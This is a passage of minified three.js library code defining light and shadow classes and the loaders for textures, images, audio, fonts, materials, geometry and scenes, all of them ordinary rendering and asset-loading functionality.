n.Vector2(512,512),this.map=null,this.matrix=new n.Matrix4},n.LightShadow.prototype={constructor:n.LightShadow,copy:function(e){return this.camera=e.camera.clone(),this.bias=e.bias,this.radius=e.radius,this.mapSize.copy(e.mapSize),this},clone:function(){return(new this.constructor).copy(this)}},n.AmbientLight=function(e,t){n.Light.call(this,e,t),this.type="AmbientLight",this.castShadow=void 0},n.AmbientLight.prototype=Object.create(n.Light.prototype),n.AmbientLight.prototype.constructor=n.AmbientLight,n.DirectionalLight=function(e,t){n.Light.call(this,e,t),this.type="DirectionalLight",this.position.set(0,1,0),this.updateMatrix(),this.target=new n.Object3D,this.shadow=new n.DirectionalLightShadow},n.DirectionalLight.prototype=Object.create(n.Light.prototype),n.DirectionalLight.prototype.constructor=n.DirectionalLight,n.DirectionalLight.prototype.copy=function(e){return n.Light.prototype.copy.call(this,e),this.target=e.target.clone(),this.shadow=e.shadow.clone(),this},n.DirectionalLightShadow=function(){n.LightShadow.call(this,new n.OrthographicCamera(-5,5,5,-5,.5,500))},n.DirectionalLightShadow.prototype=Object.create(n.LightShadow.prototype),n.DirectionalLightShadow.prototype.constructor=n.DirectionalLightShadow,n.HemisphereLight=function(e,t,i){n.Light.call(this,e,i),this.type="HemisphereLight",this.castShadow=void 0,this.position.set(0,1,0),this.updateMatrix(),this.groundColor=new n.Color(t)},n.HemisphereLight.prototype=Object.create(n.Light.prototype),n.HemisphereLight.prototype.constructor=n.HemisphereLight,n.HemisphereLight.prototype.copy=function(e){return n.Light.prototype.copy.call(this,e),this.groundColor.copy(e.groundColor),this},n.PointLight=function(e,t,i,r){n.Light.call(this,e,t),this.type="PointLight",this.distance=void 0!==i?i:0,this.decay=void 0!==r?r:1,this.shadow=new n.LightShadow(new n.PerspectiveCamera(90,1,.5,500))},n.PointLight.prototype=Object.create(n.Light.prototype),n.PointLight.prototype.constructor=n.PointLight,Object.defineProperty(n.PointLight.prototype,"power",{get:function(){return 4*this.intensity*Math.PI},set:function(e){this.intensity=e/(4*Math.PI)}}),n.PointLight.prototype.copy=function(e){return n.Light.prototype.copy.call(this,e),this.distance=e.distance,this.decay=e.decay,this.shadow=e.shadow.clone(),this},n.SpotLight=function(e,t,i,r,o,a){n.Light.call(this,e,t),this.type="SpotLight",this.position.set(0,1,0),this.updateMatrix(),this.target=new n.Object3D,this.distance=void 0!==i?i:0,this.angle=void 0!==r?r:Math.PI/3,this.penumbra=void 0!==o?o:0,this.decay=void 0!==a?a:1,this.shadow=new n.SpotLightShadow},n.SpotLight.prototype=Object.create(n.Light.prototype),n.SpotLight.prototype.constructor=n.SpotLight,Object.defineProperty(n.SpotLight.prototype,"power",{get:function(){return this.intensity*Math.PI},set:function(e){this.intensity=e/Math.PI}}),n.SpotLight.prototype.copy=function(e){return n.Light.prototype.copy.call(this,e),this.distance=e.distance,this.angle=e.angle,this.penumbra=e.penumbra,this.decay=e.decay,this.target=e.target.clone(),this.shadow=e.shadow.clone(),this},n.SpotLightShadow=function(){n.LightShadow.call(this,new n.PerspectiveCamera(50,1,.5,500))},n.SpotLightShadow.prototype=Object.create(n.LightShadow.prototype),n.SpotLightShadow.prototype.constructor=n.SpotLightShadow,n.SpotLightShadow.prototype.update=function(e){var t=2*n.Math.RAD2DEG*e.angle,i=this.mapSize.width/this.mapSize.height,r=e.distance||500,o=this.camera;(t!==o.fov||i!==o.aspect||r!==o.far)&&(o.fov=t,o.aspect=i,o.far=r,o.updateProjectionMatrix())},n.AudioLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.AudioLoader.prototype={constructor:n.AudioLoader,load:function(e,t,i,r){var o=new n.XHRLoader(this.manager);o.setResponseType("arraybuffer"),o.load(e,function(e){var i=n.AudioContext;i.decodeAudioData(e,function(e){t(e)})},i,r)}},n.Cache={enabled:!1,files:{},add:function(e,t){this.enabled!==!1&&(this.files[e]=t)},get:function(e){return this.enabled!==!1?this.files[e]:void 0},remove:function(e){delete this.files[e]},clear:function(){this.files={}}},n.Loader=function(){this.onLoadStart=function(){},this.onLoadProgress=function(){},this.onLoadComplete=function(){}},n.Loader.prototype={constructor:n.Loader,crossOrigin:void 0,extractUrlBase:function(e){var t=e.split("/");return 1===t.length?"./":(t.pop(),t.join("/")+"/")},initMaterials:function(e,t,i){for(var r=[],n=0;n<e.length;++n)r[n]=this.createMaterial(e[n],t,i);return r},createMaterial:function(){var e,t,i;return function(r,o,a){function s(e,i,r,s,u){var l,h=o+e,d=n.Loader.Handlers.get(h);null!==d?l=d.load(h):(t.setCrossOrigin(a),l=t.load(h)),void 0!==i&&(l.repeat.fromArray(i),1!==i[0]&&(l.wrapS=n.RepeatWrapping),1!==i[1]&&(l.wrapT=n.RepeatWrapping)),void 0!==r&&l.offset.fromArray(r),void 0!==s&&("repeat"===s[0]&&(l.wrapS=n.RepeatWrapping),"mirror"===s[0]&&(l.wrapS=n.MirroredRepeatWrapping),"repeat"===s[1]&&(l.wrapT=n.RepeatWrapping),"mirror"===s[1]&&(l.wrapT=n.MirroredRepeatWrapping)),void 0!==u&&(l.anisotropy=u);var p=n.Math.generateUUID();return c[p]=l,p}void 0===e&&(e=new n.Color),void 0===t&&(t=new n.TextureLoader),void 0===i&&(i=new n.MaterialLoader);var c={},u={uuid:n.Math.generateUUID(),type:"MeshLambertMaterial"};for(var l in r){var h=r[l];switch(l){case"DbgColor":case"DbgIndex":case"opticalDensity":case"illumination":break;case"DbgName":u.name=h;break;case"blending":u.blending=n[h];break;case"colorAmbient":case"mapAmbient":console.warn("THREE.Loader.createMaterial:",l,"is no longer supported.");break;case"colorDiffuse":u.color=e.fromArray(h).getHex();break;case"colorSpecular":u.specular=e.fromArray(h).getHex();break;case"colorEmissive":u.emissive=e.fromArray(h).getHex();break;case"specularCoef":u.shininess=h;break;case"shading":"basic"===h.toLowerCase()&&(u.type="MeshBasicMaterial"),"phong"===h.toLowerCase()&&(u.type="MeshPhongMaterial");break;case"mapDiffuse":u.map=s(h,r.mapDiffuseRepeat,r.mapDiffuseOffset,r.mapDiffuseWrap,r.mapDiffuseAnisotropy);break;case"mapDiffuseRepeat":case"mapDiffuseOffset":case"mapDiffuseWrap":case"mapDiffuseAnisotropy":break;case"mapLight":u.lightMap=s(h,r.mapLightRepeat,r.mapLightOffset,r.mapLightWrap,r.mapLightAnisotropy);break;case"mapLightRepeat":case"mapLightOffset":case"mapLightWrap":case"mapLightAnisotropy":break;case"mapAO":u.aoMap=s(h,r.mapAORepeat,r.mapAOOffset,r.mapAOWrap,r.mapAOAnisotropy);break;case"mapAORepeat":case"mapAOOffset":case"mapAOWrap":case"mapAOAnisotropy":break;case"mapBump":u.bumpMap=s(h,r.mapBumpRepeat,r.mapBumpOffset,r.mapBumpWrap,r.mapBumpAnisotropy);break;case"mapBumpScale":u.bumpScale=h;break;case"mapBumpRepeat":case"mapBumpOffset":case"mapBumpWrap":case"mapBumpAnisotropy":break;case"mapNormal":u.normalMap=s(h,r.mapNormalRepeat,r.mapNormalOffset,r.mapNormalWrap,r.mapNormalAnisotropy);break;case"mapNormalFactor":u.normalScale=[h,h];break;case"mapNormalRepeat":case"mapNormalOffset":case"mapNormalWrap":case"mapNormalAnisotropy":break;case"mapSpecular":u.specularMap=s(h,r.mapSpecularRepeat,r.mapSpecularOffset,r.mapSpecularWrap,r.mapSpecularAnisotropy);break;case"mapSpecularRepeat":case"mapSpecularOffset":case"mapSpecularWrap":case"mapSpecularAnisotropy":break;case"mapAlpha":u.alphaMap=s(h,r.mapAlphaRepeat,r.mapAlphaOffset,r.mapAlphaWrap,r.mapAlphaAnisotropy);break;case"mapAlphaRepeat":case"mapAlphaOffset":case"mapAlphaWrap":case"mapAlphaAnisotropy":break;case"flipSided":u.side=n.BackSide;break;case"doubleSided":u.side=n.DoubleSide;break;case"transparency":console.warn("THREE.Loader.createMaterial: transparency has been renamed to opacity"),u.opacity=h;break;case"depthTest":case"depthWrite":case"colorWrite":case"opacity":case"reflectivity":case"transparent":case"visible":case"wireframe":u[l]=h;break;case"vertexColors":h===!0&&(u.vertexColors=n.VertexColors),"face"===h&&(u.vertexColors=n.FaceColors);break;default:console.error("THREE.Loader.createMaterial: Unsupported",l,h)}}return"MeshBasicMaterial"===u.type&&delete u.emissive,"MeshPhongMaterial"!==u.type&&delete u.specular,u.opacity<1&&(u.transparent=!0),i.setTextures(c),i.parse(u)}}()},n.Loader.Handlers={handlers:[],add:function(e,t){this.handlers.push(e,t)},get:function(e){for(var t=this.handlers,i=0,r=t.length;r>i;i+=2){var n=t[i],o=t[i+1];if(n.test(e))return o}return null}},n.XHRLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.XHRLoader.prototype={constructor:n.XHRLoader,load:function(e,t,i,r){void 0!==this.path&&(e=this.path+e);var o=this,a=n.Cache.get(e);if(void 0!==a)return t&&setTimeout(function(){t(a)},0),a;var s=new XMLHttpRequest;return s.overrideMimeType("text/plain"),s.open("GET",e,!0),s.addEventListener("load",function(i){var a=i.target.response;n.Cache.add(e,a),200===this.status?(t&&t(a),o.manager.itemEnd(e)):0===this.status?(console.warn("THREE.XHRLoader: HTTP Status 0 received."),t&&t(a),o.manager.itemEnd(e)):(r&&r(i),o.manager.itemError(e))},!1),void 0!==i&&s.addEventListener("progress",function(e){i(e)},!1),s.addEventListener("error",function(t){r&&r(t),o.manager.itemError(e)},!1),void 0!==this.responseType&&(s.responseType=this.responseType),void 0!==this.withCredentials&&(s.withCredentials=this.withCredentials),s.send(null),o.manager.itemStart(e),s},setPath:function(e){this.path=e},setResponseType:function(e){this.responseType=e},setWithCredentials:function(e){this.withCredentials=e}},n.FontLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.FontLoader.prototype={constructor:n.FontLoader,load:function(e,t,i,r){var o=new n.XHRLoader(this.manager);o.load(e,function(e){t(new n.Font(JSON.parse(e.substring(65,e.length-2))))},i,r)}},n.ImageLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.ImageLoader.prototype={constructor:n.ImageLoader,load:function(e,t,i,r){void 0!==this.path&&(e=this.path+e);var o=this,a=n.Cache.get(e);if(void 0!==a)return o.manager.itemStart(e),t?setTimeout(function(){t(a),o.manager.itemEnd(e)},0):o.manager.itemEnd(e),a;var s=document.createElement("img");return s.addEventListener("load",function(){n.Cache.add(e,this),t&&t(this),o.manager.itemEnd(e)},!1),void 0!==i&&s.addEventListener("progress",function(e){i(e)},!1),s.addEventListener("error",function(t){r&&r(t),o.manager.itemError(e)},!1),void 0!==this.crossOrigin&&(s.crossOrigin=this.crossOrigin),o.manager.itemStart(e),s.src=e,s},setCrossOrigin:function(e){this.crossOrigin=e},setPath:function(e){this.path=e}},n.JSONLoader=function(e){"boolean"==typeof e&&(console.warn("THREE.JSONLoader: showStatus parameter has been removed from constructor."),e=void 0),this.manager=void 0!==e?e:n.DefaultLoadingManager,this.withCredentials=!1},n.JSONLoader.prototype={constructor:n.JSONLoader,get statusDomElement(){return void 0===this._statusDomElement&&(this._statusDomElement=document.createElement("div")),console.warn("THREE.JSONLoader: .statusDomElement has been removed."),
this._statusDomElement},load:function(e,t,i,r){var o=this,a=this.texturePath&&"string"==typeof this.texturePath?this.texturePath:n.Loader.prototype.extractUrlBase(e),s=new n.XHRLoader(this.manager);s.setWithCredentials(this.withCredentials),s.load(e,function(i){var r=JSON.parse(i),n=r.metadata;if(void 0!==n){var s=n.type;if(void 0!==s){if("object"===s.toLowerCase())return void console.error("THREE.JSONLoader: "+e+" should be loaded with THREE.ObjectLoader instead.");if("scene"===s.toLowerCase())return void console.error("THREE.JSONLoader: "+e+" should be loaded with THREE.SceneLoader instead.")}}var c=o.parse(r,a);t(c.geometry,c.materials)},i,r)},setTexturePath:function(e){this.texturePath=e},parse:function(e,t){function i(t){function i(e,t){return e&1<<t}var r,o,a,c,u,l,h,d,p,f,m,g,v,y,M,A,x,w,E,b,T,L,D,N,S,C,I,j=e.faces,_=e.vertices,O=e.normals,z=e.colors,k=0;if(void 0!==e.uvs){for(r=0;r<e.uvs.length;r++)e.uvs[r].length&&k++;for(r=0;k>r;r++)s.faceVertexUvs[r]=[]}for(c=0,u=_.length;u>c;)w=new n.Vector3,w.x=_[c++]*t,w.y=_[c++]*t,w.z=_[c++]*t,s.vertices.push(w);for(c=0,u=j.length;u>c;)if(f=j[c++],m=i(f,0),g=i(f,1),v=i(f,3),y=i(f,4),M=i(f,5),A=i(f,6),x=i(f,7),m){if(b=new n.Face3,b.a=j[c],b.b=j[c+1],b.c=j[c+3],T=new n.Face3,T.a=j[c+1],T.b=j[c+2],T.c=j[c+3],c+=4,g&&(p=j[c++],b.materialIndex=p,T.materialIndex=p),a=s.faces.length,v)for(r=0;k>r;r++)for(N=e.uvs[r],s.faceVertexUvs[r][a]=[],s.faceVertexUvs[r][a+1]=[],o=0;4>o;o++)d=j[c++],C=N[2*d],I=N[2*d+1],S=new n.Vector2(C,I),2!==o&&s.faceVertexUvs[r][a].push(S),0!==o&&s.faceVertexUvs[r][a+1].push(S);if(y&&(h=3*j[c++],b.normal.set(O[h++],O[h++],O[h]),T.normal.copy(b.normal)),M)for(r=0;4>r;r++)h=3*j[c++],D=new n.Vector3(O[h++],O[h++],O[h]),2!==r&&b.vertexNormals.push(D),0!==r&&T.vertexNormals.push(D);if(A&&(l=j[c++],L=z[l],b.color.setHex(L),T.color.setHex(L)),x)for(r=0;4>r;r++)l=j[c++],L=z[l],2!==r&&b.vertexColors.push(new n.Color(L)),0!==r&&T.vertexColors.push(new n.Color(L));s.faces.push(b),s.faces.push(T)}else{if(E=new n.Face3,E.a=j[c++],E.b=j[c++],E.c=j[c++],g&&(p=j[c++],E.materialIndex=p),a=s.faces.length,v)for(r=0;k>r;r++)for(N=e.uvs[r],s.faceVertexUvs[r][a]=[],o=0;3>o;o++)d=j[c++],C=N[2*d],I=N[2*d+1],S=new n.Vector2(C,I),s.faceVertexUvs[r][a].push(S);if(y&&(h=3*j[c++],E.normal.set(O[h++],O[h++],O[h])),M)for(r=0;3>r;r++)h=3*j[c++],D=new n.Vector3(O[h++],O[h++],O[h]),E.vertexNormals.push(D);if(A&&(l=j[c++],E.color.setHex(z[l])),x)for(r=0;3>r;r++)l=j[c++],E.vertexColors.push(new n.Color(z[l]));s.faces.push(E)}}function r(){var t=void 0!==e.influencesPerVertex?e.influencesPerVertex:2;if(e.skinWeights)for(var i=0,r=e.skinWeights.length;r>i;i+=t){var o=e.skinWeights[i],a=t>1?e.skinWeights[i+1]:0,c=t>2?e.skinWeights[i+2]:0,u=t>3?e.skinWeights[i+3]:0;s.skinWeights.push(new n.Vector4(o,a,c,u))}if(e.skinIndices)for(var i=0,r=e.skinIndices.length;r>i;i+=t){var l=e.skinIndices[i],h=t>1?e.skinIndices[i+1]:0,d=t>2?e.skinIndices[i+2]:0,p=t>3?e.skinIndices[i+3]:0;s.skinIndices.push(new n.Vector4(l,h,d,p))}s.bones=e.bones,s.bones&&s.bones.length>0&&(s.skinWeights.length!==s.skinIndices.length||s.skinIndices.length!==s.vertices.length)&&console.warn("When skinning, number of vertices ("+s.vertices.length+"), skinIndices ("+s.skinIndices.length+"), and skinWeights ("+s.skinWeights.length+") should match.")}function o(t){if(void 0!==e.morphTargets)for(var i=0,r=e.morphTargets.length;r>i;i++){s.morphTargets[i]={},s.morphTargets[i].name=e.morphTargets[i].name,s.morphTargets[i].vertices=[];for(var o=s.morphTargets[i].vertices,a=e.morphTargets[i].vertices,c=0,u=a.length;u>c;c+=3){var l=new n.Vector3;l.x=a[c]*t,l.y=a[c+1]*t,l.z=a[c+2]*t,o.push(l)}}if(void 0!==e.morphColors&&e.morphColors.length>0){console.warn('THREE.JSONLoader: "morphColors" no longer supported. Using them as face colors.');for(var h=s.faces,d=e.morphColors[0].colors,i=0,r=h.length;r>i;i++)h[i].color.fromArray(d,3*i)}}function a(){var t=[],i=[];void 0!==e.animation&&i.push(e.animation),void 0!==e.animations&&(e.animations.length?i=i.concat(e.animations):i.push(e.animations));for(var r=0;r<i.length;r++){var o=n.AnimationClip.parseAnimation(i[r],s.bones);o&&t.push(o)}if(s.morphTargets){var a=n.AnimationClip.CreateClipsFromMorphTargetSequences(s.morphTargets,10);t=t.concat(a)}t.length>0&&(s.animations=t)}var s=new n.Geometry,c=void 0!==e.scale?1/e.scale:1;if(i(c),r(),o(c),a(),s.computeFaceNormals(),s.computeBoundingSphere(),void 0===e.materials||0===e.materials.length)return{geometry:s};var u=n.Loader.prototype.initMaterials(e.materials,t,this.crossOrigin);return{geometry:s,materials:u}}},n.LoadingManager=function(e,t,i){var r=this,n=!1,o=0,a=0;this.onStart=void 0,this.onLoad=e,this.onProgress=t,this.onError=i,this.itemStart=function(e){a++,n===!1&&void 0!==r.onStart&&r.onStart(e,o,a),n=!0},this.itemEnd=function(e){o++,void 0!==r.onProgress&&r.onProgress(e,o,a),o===a&&(n=!1,void 0!==r.onLoad&&r.onLoad())},this.itemError=function(e){void 0!==r.onError&&r.onError(e)}},n.DefaultLoadingManager=new n.LoadingManager,n.BufferGeometryLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.BufferGeometryLoader.prototype={constructor:n.BufferGeometryLoader,load:function(e,t,i,r){var o=this,a=new n.XHRLoader(o.manager);a.load(e,function(e){t(o.parse(JSON.parse(e)))},i,r)},parse:function(e){var t=new n.BufferGeometry,i=e.data.index,r={Int8Array:Int8Array,Uint8Array:Uint8Array,Uint8ClampedArray:Uint8ClampedArray,Int16Array:Int16Array,Uint16Array:Uint16Array,Int32Array:Int32Array,Uint32Array:Uint32Array,Float32Array:Float32Array,Float64Array:Float64Array};if(void 0!==i){var o=new r[i.type](i.array);t.setIndex(new n.BufferAttribute(o,1))}var a=e.data.attributes;for(var s in a){var c=a[s],o=new r[c.type](c.array);t.addAttribute(s,new n.BufferAttribute(o,c.itemSize,c.normalized))}var u=e.data.groups||e.data.drawcalls||e.data.offsets;if(void 0!==u)for(var l=0,h=u.length;l!==h;++l){var d=u[l];t.addGroup(d.start,d.count,d.materialIndex)}var p=e.data.boundingSphere;if(void 0!==p){var f=new n.Vector3;void 0!==p.center&&f.fromArray(p.center),t.boundingSphere=new n.Sphere(f,p.radius)}return t}},n.MaterialLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager,this.textures={}},n.MaterialLoader.prototype={constructor:n.MaterialLoader,load:function(e,t,i,r){var o=this,a=new n.XHRLoader(o.manager);a.load(e,function(e){t(o.parse(JSON.parse(e)))},i,r)},setTextures:function(e){this.textures=e},getTexture:function(e){var t=this.textures;return void 0===t[e]&&console.warn("THREE.MaterialLoader: Undefined texture",e),t[e]},parse:function(e){var t=new n[e.type];if(void 0!==e.uuid&&(t.uuid=e.uuid),void 0!==e.name&&(t.name=e.name),void 0!==e.color&&t.color.setHex(e.color),void 0!==e.roughness&&(t.roughness=e.roughness),void 0!==e.metalness&&(t.metalness=e.metalness),void 0!==e.emissive&&t.emissive.setHex(e.emissive),void 0!==e.specular&&t.specular.setHex(e.specular),void 0!==e.shininess&&(t.shininess=e.shininess),void 0!==e.uniforms&&(t.uniforms=e.uniforms),void 0!==e.vertexShader&&(t.vertexShader=e.vertexShader),void 0!==e.fragmentShader&&(t.fragmentShader=e.fragmentShader),void 0!==e.vertexColors&&(t.vertexColors=e.vertexColors),void 0!==e.shading&&(t.shading=e.shading),void 0!==e.blending&&(t.blending=e.blending),void 0!==e.side&&(t.side=e.side),void 0!==e.opacity&&(t.opacity=e.opacity),void 0!==e.transparent&&(t.transparent=e.transparent),void 0!==e.alphaTest&&(t.alphaTest=e.alphaTest),void 0!==e.depthTest&&(t.depthTest=e.depthTest),void 0!==e.depthWrite&&(t.depthWrite=e.depthWrite),void 0!==e.colorWrite&&(t.colorWrite=e.colorWrite),void 0!==e.wireframe&&(t.wireframe=e.wireframe),void 0!==e.wireframeLinewidth&&(t.wireframeLinewidth=e.wireframeLinewidth),void 0!==e.size&&(t.size=e.size),void 0!==e.sizeAttenuation&&(t.sizeAttenuation=e.sizeAttenuation),void 0!==e.map&&(t.map=this.getTexture(e.map)),void 0!==e.alphaMap&&(t.alphaMap=this.getTexture(e.alphaMap),t.transparent=!0),void 0!==e.bumpMap&&(t.bumpMap=this.getTexture(e.bumpMap)),void 0!==e.bumpScale&&(t.bumpScale=e.bumpScale),void 0!==e.normalMap&&(t.normalMap=this.getTexture(e.normalMap)),void 0!==e.normalScale){var i=e.normalScale;Array.isArray(i)===!1&&(i=[i,i]),t.normalScale=(new n.Vector2).fromArray(i)}if(void 0!==e.displacementMap&&(t.displacementMap=this.getTexture(e.displacementMap)),void 0!==e.displacementScale&&(t.displacementScale=e.displacementScale),void 0!==e.displacementBias&&(t.displacementBias=e.displacementBias),void 0!==e.roughnessMap&&(t.roughnessMap=this.getTexture(e.roughnessMap)),void 0!==e.metalnessMap&&(t.metalnessMap=this.getTexture(e.metalnessMap)),void 0!==e.emissiveMap&&(t.emissiveMap=this.getTexture(e.emissiveMap)),void 0!==e.emissiveIntensity&&(t.emissiveIntensity=e.emissiveIntensity),void 0!==e.specularMap&&(t.specularMap=this.getTexture(e.specularMap)),void 0!==e.envMap&&(t.envMap=this.getTexture(e.envMap),t.combine=n.MultiplyOperation),e.reflectivity&&(t.reflectivity=e.reflectivity),void 0!==e.lightMap&&(t.lightMap=this.getTexture(e.lightMap)),void 0!==e.lightMapIntensity&&(t.lightMapIntensity=e.lightMapIntensity),void 0!==e.aoMap&&(t.aoMap=this.getTexture(e.aoMap)),void 0!==e.aoMapIntensity&&(t.aoMapIntensity=e.aoMapIntensity),void 0!==e.materials)for(var r=0,o=e.materials.length;o>r;r++)t.materials.push(this.parse(e.materials[r]));return t}},n.ObjectLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager,this.texturePath=""},n.ObjectLoader.prototype={constructor:n.ObjectLoader,load:function(e,t,i,r){""===this.texturePath&&(this.texturePath=e.substring(0,e.lastIndexOf("/")+1));var o=this,a=new n.XHRLoader(o.manager);a.load(e,function(e){o.parse(JSON.parse(e),t)},i,r)},setTexturePath:function(e){this.texturePath=e},setCrossOrigin:function(e){this.crossOrigin=e},parse:function(e,t){var i=this.parseGeometries(e.geometries),r=this.parseImages(e.images,function(){void 0!==t&&t(a)}),n=this.parseTextures(e.textures,r),o=this.parseMaterials(e.materials,n),a=this.parseObject(e.object,i,o);return e.animations&&(a.animations=this.parseAnimations(e.animations)),(void 0===e.images||0===e.images.length)&&void 0!==t&&t(a),a},parseGeometries:function(e){var t={};if(void 0!==e)for(var i=new n.JSONLoader,r=new n.BufferGeometryLoader,o=0,a=e.length;a>o;o++){var s,c=e[o];switch(c.type){case"PlaneGeometry":case"PlaneBufferGeometry":s=new n[c.type](c.width,c.height,c.widthSegments,c.heightSegments);break;case"BoxGeometry":case"BoxBufferGeometry":case"CubeGeometry":s=new n[c.type](c.width,c.height,c.depth,c.widthSegments,c.heightSegments,c.depthSegments);break;case"CircleGeometry":case"CircleBufferGeometry":s=new n[c.type](c.radius,c.segments,c.thetaStart,c.thetaLength);break;case"CylinderGeometry":case"CylinderBufferGeometry":s=new n[c.type](c.radiusTop,c.radiusBottom,c.height,c.radialSegments,c.heightSegments,c.openEnded,c.thetaStart,c.thetaLength);break;case"SphereGeometry":case"SphereBufferGeometry":s=new n[c.type](c.radius,c.widthSegments,c.heightSegments,c.phiStart,c.phiLength,c.thetaStart,c.thetaLength);break;case"DodecahedronGeometry":s=new n.DodecahedronGeometry(c.radius,c.detail);break;case"IcosahedronGeometry":s=new n.IcosahedronGeometry(c.radius,c.detail);break;case"OctahedronGeometry":s=new n.OctahedronGeometry(c.radius,c.detail);break;case"TetrahedronGeometry":s=new n.TetrahedronGeometry(c.radius,c.detail);break;case"RingGeometry":case"RingBufferGeometry":s=new n[c.type](c.innerRadius,c.outerRadius,c.thetaSegments,c.phiSegments,c.thetaStart,c.thetaLength);break;case"TorusGeometry":case"TorusBufferGeometry":s=new n[c.type](c.radius,c.tube,c.radialSegments,c.tubularSegments,c.arc);break;case"TorusKnotGeometry":case"TorusKnotBufferGeometry":s=new n[c.type](c.radius,c.tube,c.tubularSegments,c.radialSegments,c.p,c.q);break;case"LatheGeometry":case"LatheBufferGeometry":s=new n[c.type](c.points,c.segments,c.phiStart,c.phiLength);break;case"BufferGeometry":s=r.parse(c);break;case"Geometry":s=i.parse(c.data,this.texturePath).geometry;break;default:console.warn('THREE.ObjectLoader: Unsupported geometry type "'+c.type+'"');continue}s.uuid=c.uuid,void 0!==c.name&&(s.name=c.name),t[c.uuid]=s}return t},parseMaterials:function(e,t){var i={};if(void 0!==e){var r=new n.MaterialLoader;r.setTextures(t);for(var o=0,a=e.length;a>o;o++){var s=r.parse(e[o]);i[s.uuid]=s}}return i},parseAnimations:function(e){for(var t=[],i=0;i<e.length;i++){var r=n.AnimationClip.parse(e[i]);t.push(r)}return t},parseImages:function(e,t){function i(e){return r.manager.itemStart(e),s.load(e,function(){r.manager.itemEnd(e)})}var r=this,o={};if(void 0!==e&&e.length>0){var a=new n.LoadingManager(t),s=new n.ImageLoader(a);s.setCrossOrigin(this.crossOrigin);for(var c=0,u=e.length;u>c;c++){var l=e[c],h=/^(\/\/)|([a-z]+:(\/\/)?)/i.test(l.url)?l.url:r.texturePath+l.url;o[l.uuid]=i(h)}}return o},parseTextures:function(e,t){function i(e){return"number"==typeof e?e:(console.warn("THREE.ObjectLoader.parseTexture: Constant should be in numeric form.",e),n[e])}var r={};if(void 0!==e)for(var o=0,a=e.length;a>o;o++){var s=e[o];void 0===s.image&&console.warn('THREE.ObjectLoader: No "image" specified for',s.uuid),void 0===t[s.image]&&console.warn("THREE.ObjectLoader: Undefined image",s.image);var c=new n.Texture(t[s.image]);c.needsUpdate=!0,c.uuid=s.uuid,void 0!==s.name&&(c.name=s.name),void 0!==s.mapping&&(c.mapping=i(s.mapping)),void 0!==s.offset&&(c.offset=new n.Vector2(s.offset[0],s.offset[1])),void 0!==s.repeat&&(c.repeat=new n.Vector2(s.repeat[0],s.repeat[1])),void 0!==s.minFilter&&(c.minFilter=i(s.minFilter)),void 0!==s.magFilter&&(c.magFilter=i(s.magFilter)),void 0!==s.anisotropy&&(c.anisotropy=s.anisotropy),Array.isArray(s.wrap)&&(c.wrapS=i(s.wrap[0]),c.wrapT=i(s.wrap[1])),r[s.uuid]=c}return r},parseObject:function(){var e=new n.Matrix4;return function(t,i,r){function o(e){return void 0===i[e]&&console.warn("THREE.ObjectLoader: Undefined geometry",e),i[e]}function a(e){return void 0===e?void 0:(void 0===r[e]&&console.warn("THREE.ObjectLoader: Undefined material",e),r[e])}var s;switch(t.type){case"Scene":s=new n.Scene;break;case"PerspectiveCamera":s=new n.PerspectiveCamera(t.fov,t.aspect,t.near,t.far),void 0!==t.focus&&(s.focus=t.focus),void 0!==t.zoom&&(s.zoom=t.zoom),void 0!==t.filmGauge&&(s.filmGauge=t.filmGauge),void 0!==t.filmOffset&&(s.filmOffset=t.filmOffset),void 0!==t.view&&(s.view=Object.assign({},t.view));break;case"OrthographicCamera":s=new n.OrthographicCamera(t.left,t.right,t.top,t.bottom,t.near,t.far);break;case"AmbientLight":s=new n.AmbientLight(t.color,t.intensity);break;case"DirectionalLight":s=new n.DirectionalLight(t.color,t.intensity);break;case"PointLight":s=new n.PointLight(t.color,t.intensity,t.distance,t.decay);break;case"SpotLight":s=new n.SpotLight(t.color,t.intensity,t.distance,t.angle,t.penumbra,t.decay);break;case"HemisphereLight":s=new n.HemisphereLight(t.color,t.groundColor,t.intensity);break;case"Mesh":var c=o(t.geometry),u=a(t.material);s=c.bones&&c.bones.length>0?new n.SkinnedMesh(c,u):new n.Mesh(c,u);break;case"LOD":s=new n.LOD;break;case"Line":s=new n.Line(o(t.geometry),a(t.material),t.mode);break;case"PointCloud":case"Points":s=new n.Points(o(t.geometry),a(t.material));break;case"Sprite":s=new n.Sprite(a(t.material));break;case"Group":s=new n.Group;break;default:s=new n.Object3D}if(s.uuid=t.uuid,void 0!==t.name&&(s.name=t.name),void 0!==t.matrix?(e.fromArray(t.matrix),e.decompose(s.position,s.quaternion,s.scale)):(void 0!==t.position&&s.position.fromArray(t.position),void 0!==t.rotation&&s.rotation.fromArray(t.rotation),void 0!==t.scale&&s.scale.fromArray(t.scale)),void 0!==t.castShadow&&(s.castShadow=t.castShadow),void 0!==t.receiveShadow&&(s.receiveShadow=t.receiveShadow),void 0!==t.visible&&(s.visible=t.visible),void 0!==t.userData&&(s.userData=t.userData),void 0!==t.children)for(var l in t.children)s.add(this.parseObject(t.children[l],i,r));if("LOD"===t.type)for(var h=t.levels,d=0;d<h.length;d++){var p=h[d],l=s.getObjectByProperty("uuid",p.object);void 0!==l&&s.addLevel(l,p.distance)}return s}}()},n.TextureLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.TextureLoader.prototype={constructor:n.TextureLoader,load:function(e,t,i,r){var o=new n.Texture,a=new n.ImageLoader(this.manager);return a.setCrossOrigin(this.crossOrigin),a.setPath(this.path),a.load(e,function(e){o.image=e,o.needsUpdate=!0,void 0!==t&&t(o)},i,r),o},setCrossOrigin:function(e){this.crossOrigin=e},setPath:function(e){this.path=e}},n.CubeTextureLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager},n.CubeTextureLoader.prototype={constructor:n.CubeTextureLoader,load:function(e,t,i,r){function o(i){s.load(e[i],function(e){a.images[i]=e,c++,6===c&&(a.needsUpdate=!0,t&&t(a))},void 0,r)}var a=new n.CubeTexture,s=new n.ImageLoader(this.manager);s.setCrossOrigin(this.crossOrigin),s.setPath(this.path);for(var c=0,u=0;u<e.length;++u)o(u);return 